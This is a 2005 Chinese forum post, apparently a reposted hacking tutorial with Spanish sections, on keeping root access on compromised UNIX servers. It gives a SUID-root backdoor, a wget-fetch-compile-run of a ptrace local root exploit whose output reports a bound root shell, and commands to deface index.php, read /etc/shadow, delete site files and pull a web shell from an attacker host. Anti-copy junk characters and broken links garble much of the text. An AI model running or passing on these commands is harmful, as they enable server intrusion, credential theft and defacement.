QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4955|回复: 0
打印 上一主题 下一主题

总结UNIX成为root以后保持权限的方法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<><FONT color=#ff0000>by:cnbird</FONT></P>
- G0 w. A2 K6 f$ o! L<>1.</P>
! y& ^& j$ i3 V3 X<>[cnbird@localhost tmp]#id</P>  q( ^2 a7 B7 k6 f: O
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>6 O. X, q8 K" N4 A8 z7 L" P
<>[cnbird@localhost tmp]#cp `which id ` .</P>- U+ H: G' l. t7 r1 ?
<>[cnbird@localhost tmp]#chown root ./id</P>
3 t# E; x6 ^$ ~<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>' E  k* M' h: |
<>[cnbird@localhost tmp]#ls -l ./id</P>
. C9 f5 G5 u' V3 V7 |( k' o<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
* s, C  P# |3 ]<>[cnbird@localhost tmp]#exit</P>
3 S& H7 _# O7 C- [<>[cnbird@localhost tmp]$id</P>$ j5 J( x8 F* ^3 _# Y7 o& E: o0 K
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>% n" r( t1 V; W2 F
<>[cnbird@localhost tmp]$./id </P>
5 w- k/ a5 z$ r9 H! s<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
, k; d: [- n' O; d2 C  ?8 x( Z; t9 d<>2.利用ptrace成为root的方法</P>2 b4 _9 H, z8 m8 J: D
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace/ [# U+ n. G, v- }0 a: R
-&gt; Parent's PID is 2313. Child's PID is 2314.
2 J, j3 a6 p* I8 y* z* d-&gt; Attaching to 2315...
" W% C0 U2 r! R" P7 E9 J# [-&gt; Got the thread!!$ u9 ]0 h- ]( o4 k
-&gt; Waiting for the next signal...: |6 T1 R  }9 L
-&gt; Injecting shellcode at 0x4000e85d
- r) i8 m. F& u-&gt; Bind root shell on port 24876... =p
1 t4 q" u% l/ l2 `-&gt; Detached from modprobe thread.
$ O# ~( t" w1 T-&gt; Committing suicide.....</P>0 i$ `1 N. ]3 h
<>[bash]# id
. Q# Y! o% D4 h4 |uid=0(root) gid=0(root) groups=0(root)</P>
3 q8 t( \4 ]0 }% L<>ara ver los dominios que hay en el server:
7 ~; @" j7 I4 t6 ]---------------------------------------------------------0 ~: {  X$ T% ]# Q# `" O
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios' h" l# s' T2 i( R3 P4 o
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
; I1 p" }* p+ e. wcat /etc/localdomains &lt;&lt; Unicamente los dominios locales
! @+ `3 s$ h0 m" jcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 2 v1 j4 P9 P) ?" x# A" Y) J
cat /etc/userdomains &lt;&lt; Este es el mas comun
/ w2 x) t4 V* f1 y---------------------------------------------------------</P>
4 r; p7 r% U1 _<>ara ver la version de kernel:
  G; F  A' o7 [  ?; ~---------------------------------------------------------
2 f' q) h( {2 zuname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.8 o0 g: M0 U. M# {* C
---------------------------------------------------------</P>
! g2 N5 q; a9 o. T# x3 v: u( E<>ara modificar un index ya existente:
8 G6 _3 G  U, U" H% s" S---------------------------------------------------------4 E+ l/ f& V3 u
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
/ z' _' k2 a) s' _# S' b---------------------------------------------------------</P>
5 J) H# ~* m% n<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:$ N, C2 \" ^3 K. F8 _
---------------------------------------------------------
* `6 W: @0 F) Dcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit) R7 y- c) ]1 Y  `8 E
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
& h4 J5 f1 i! wcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
, }6 F) Y, {. G# ycd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 1 h/ ^% V" J& E) J$ z* a6 X
Hasta aqui termina el proceso para un exploit.) ^& t7 W" F0 _: [( l. p4 ~, Q- M: h1 b) P
---------------------------------------------------------</P>: ^2 W5 Q1 b8 f0 q: }/ b, N4 L7 H
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
! e! V. m8 I( `5 K* o' q---------------------------------------------------------, i! r5 I1 }" T
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.7 J" G# P8 v  Z! |5 N/ b" S
---------------------------------------------------------</P>
# Y0 B6 J- j+ n% b- u<>Borrar un Ficher
* n9 n$ m; m9 S7 k% n! k* \6 e# Y---------------------------------------------------------
1 W+ Z% p, L. ^, scd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
! G6 I/ C/ C- w9 |' q: n9 J---------------------------------------------------------</P>
: I% u  C5 q, C6 {& x* d<>Subir un ficher' R5 {1 q, I9 `# n  `# }9 }% s
---------------------------------------------------------
3 C+ E" N& m/ b) \8 Ucd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
) R" C. j* \: V2 f9 F<>+ \5 @. ~' q% r* y8 x+ T
<CENTER></CENTER>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-17 18:21 , Processed in 1.624291 second(s), 52 queries .

回顶部